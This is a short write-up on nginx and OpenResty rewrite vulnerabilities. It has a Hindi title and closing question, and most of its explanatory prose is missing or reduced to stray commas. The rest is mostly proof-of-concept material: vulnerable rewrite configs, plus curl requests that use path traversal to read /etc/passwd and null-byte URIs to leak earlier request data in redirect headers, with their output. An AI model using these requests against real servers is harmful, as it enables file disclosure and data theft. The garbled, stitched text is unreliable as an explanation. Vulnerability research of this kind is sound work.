एक भेद्यता के बारे में ...

• nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .
  
  :
  
  

  location ~ /rewrite {
      rewrite ^.*$ $arg_x;
  }
  
  location / {
      root html;
      index index.html index.htm;
  }

  
  
  
  
  curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
  
  
• nginx , , rewrite . nginx , , , , , . .
  
  (^@ )
  

  
  location ~ /memleak {
      rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
  }
  
  location / {
      root html;
      index index.html index.htm;
  }

  
  
  
  curl localhost:8337/secret -vv
...
curl localhost:8337/memleak -vv
...
Location: http://localhost:8337/secret
...

  
• Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .
  
  :
  
  

  location ~ /memleak {
      rewrite_by_lua_block {
          ngx.req.read_body();
          local args, err = ngx.req.get_post_args();
          ngx.req.set_uri( args["url"], true );
      }
  }
  
  location / {
      root html;
      index index.html index.htm;
  }
  

  
  
  :
  
  curl localhost:8337 -d "url=secret" -vv
...
curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
...
Location: http://localhost:8337/{... secret...}
...

  

तो क्या गलती थी और इसे रोकने के लिए क्या करना चाहिए?

शुद्धिपत्र